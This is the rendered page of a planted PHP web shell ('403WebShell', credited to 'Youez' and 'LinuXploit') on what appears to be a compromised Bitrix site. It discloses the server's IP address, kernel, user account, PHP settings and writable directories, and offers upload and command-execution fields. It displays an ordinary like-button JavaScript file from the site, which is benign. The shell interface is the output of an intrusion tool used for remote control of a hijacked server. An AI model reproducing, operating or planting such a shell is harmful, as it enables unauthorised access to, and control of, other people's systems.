%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.223.205.163
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rating.vote/templates/mobile_comment_like/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rating.vote/templates/mobile_comment_like/script_attached.js
;(function(){
	if (window["RatingLikeComments"])
		return;

	var BXRLC = {}, voteEvents = {};

	window.RatingLikeComments = function(likeId, entityTypeId, entityId, available)
	{
		this.likeId = likeId;
		this.entityTypeId = entityTypeId;
		this.entityId = entityId;
		this.available = (available == 'Y');
		this.likeTimeout = false;
		this.enabled = this.init();
		BXRLC[likeId] = this;
	};
	window.RatingLikeComments.prototype = {
		init : function() {
			this.box = BX('bx-ilike-button-' + this.likeId);
			if (!this.box)
				return false;

			BXMobileApp.addCustomEvent("onPull-main", BX.proxy(function(data) {
				if (data.command == 'rating_vote')
				{
					var p = data.params;
					if (((p.USER_ID + '') != (BX.message('USER_ID') + '')) &&
						this.entityTypeId == p.ENTITY_TYPE_ID && this.entityId == p.ENTITY_ID)
					{
						this.someoneVote((p.TYPE == 'ADD'), p.TOTAL_POSITIVE_VOTES);
					}
				}

			}, this));

			this.voted = BX.hasClass(this.box, 'post-comment-likes-liked');
			BX.bind(this.box, 'click', BX.proxy(this.vote, this));

			this.countText = BX('bx-ilike-count-' + this.likeId);
			BX.bind(this.countText, 'click', BX.proxy(this.list, this));

			return true;
		},
		vote : function(e) {
			clearTimeout(this.likeTimeout);
			if (BX.type.isBoolean(e) && this.voted == e)
				return false;

			var counterValue = BX.type.isNotEmptyString(this.countText.innerHTML) ? parseInt(this.countText.innerHTML) : 0,
				newValue;

			newValue = this.voted = (BX.type.isBoolean(e) ? e : !this.voted);

			if (this.voted)
			{
				this.countText.innerHTML = counterValue + 1;
				BX.addClass(this.box, 'post-comment-likes-liked');
				BX.removeClass(this.box, 'post-comment-likes');

				var likeNode = BX.clone(this.box);
				var box = this.box;

				BX.adjust(box.parentNode, { style: { position: 'relative' } });
				BX.adjust(likeNode, {
					attrs: {
						id: 'bx-ilike-button-animation'
					},
					style: {
						position: 'absolute',
						minWidth: 0
					} });
				BX.adjust(box, { style: { visibility: 'hidden' } });

				box.parentNode.insertBefore(likeNode, box);

				new BX.easing({
					duration: 120,
					start: { scale: 100 },
					finish: { scale: 130 },
					transition : BX.easing.transitions.quad,
					step: function(state) {
						likeNode.style.transform = "scale(" + state.scale / 100 + ")";
					},
					complete: function() {
						new BX.easing({
							duration: 120,
							start: { scale: 130 },
							finish: { scale: 100 },
							transition : BX.easing.transitions.quad,
							step: function(state) {
								likeNode.style.transform = "scale(" + state.scale / 100 + ")";
							},
							complete: function() {
								likeNode.parentNode.removeChild(likeNode);
								BX.adjust(box, { style: { visibility: 'visible' } });
								BX.adjust(box.parentNode, { style: { position: 'static' } });
							}
						}).animate();
					}
				}).animate();
			}
			else
			{
				this.countText.innerHTML = counterValue - 1;
				BX.addClass(this.box, 'post-comment-likes');
				BX.removeClass(this.box, 'post-comment-likes-liked');
			}
			if (BX.type.isBoolean(e))
			{
				return false;
			}
			else
			{
				this.likeTimeout = setTimeout(BX.proxy(function() { this.send(newValue); }, this), 1000);
				BX.eventCancelBubble(e);
				return BX.PreventDefault(e);
			}
		},
		send : function(voteAction) {
			var BMAjaxWrapper = new window.MobileAjaxWrapper();
			BMAjaxWrapper.Wrap({
				type: 'json',
				method: 'POST',
				url: BX.message('SITE_DIR') + 'mobile/ajax.php?mobile_action=like',
				data: {
					RATING_VOTE: 'Y',
					RATING_VOTE_TYPE_ID: this.entityTypeId,
					RATING_VOTE_ENTITY_ID: this.entityId,
					RATING_VOTE_ACTION: (voteAction === true ? 'plus' : 'cancel'),
					sessid: BX.bitrix_sessid()
				},
				callback: BX.proxy(function(data) {
					if (
						typeof data != 'undefined'
							&& typeof data.action != 'undefined'
							&& typeof data.items_all != 'undefined'
						)
					{
						this.vote((data.action == 'plus'));
						this.countText.innerHTML = data.items_all;
					}
					else
						this.vote(!voteAction);
				}, this),
				callback_failure: BX.proxy(function() { this.vote(!voteAction); }, this)
			});
		},
		someoneVote : function(vote, votes) {
			this.countText.innerHTML = votes;
			if (votes > 1 || (votes == 1 && !this.voted))
			{
				BX.addClass(this.box, 'post-comment-liked');
			}
			else
			{
				BX.removeClass(this.box, 'post-comment-liked');
			}
		},
		list : function(e) {
			if (window["app"])
			{
				var pathToUserProfile = (
					BX.message('RVPathToUserProfile')
						? BX.message('RVPathToUserProfile')
						: BX.message('RVCPathToUserProfile')
				);

				window.app.openTable({
					callback: function() {},
					url: (BX.message('MobileSiteDir') ? BX.message('MobileSiteDir') : '/') + 'mobile/index.php?mobile_action=get_likes&RATING_VOTE_TYPE_ID=' + this.entityTypeId + '&RATING_VOTE_ENTITY_ID=' + this.entityId + '&URL=' + pathToUserProfile,
					markmode: false,
					showtitle: false,
					modal: false,
					cache: false,
					outsection: false,
					cancelname: BX.message('RVCListBack')
				});
			}
			return BX.PreventDefault(e);
		}
	};
	window.RatingLikeComments.getById = function(id)
	{
		return BXRLC[id]
	};
	window.RatingLikeComments.List = function(id)
	{
		if (BXRLC[id])
			BXRLC[id].list();

	};
	if (window["RatingLikeCommentsQueue"] && window["RatingLikeCommentsQueue"].length > 0)
	{
		var f;
		while((f = window["RatingLikeCommentsQueue"].pop()) && f) { f(); }
		delete window["RatingLikeCommentsQueue"];
	}
}());

Youez - 2016 - github.com/yon3zu
LinuXploit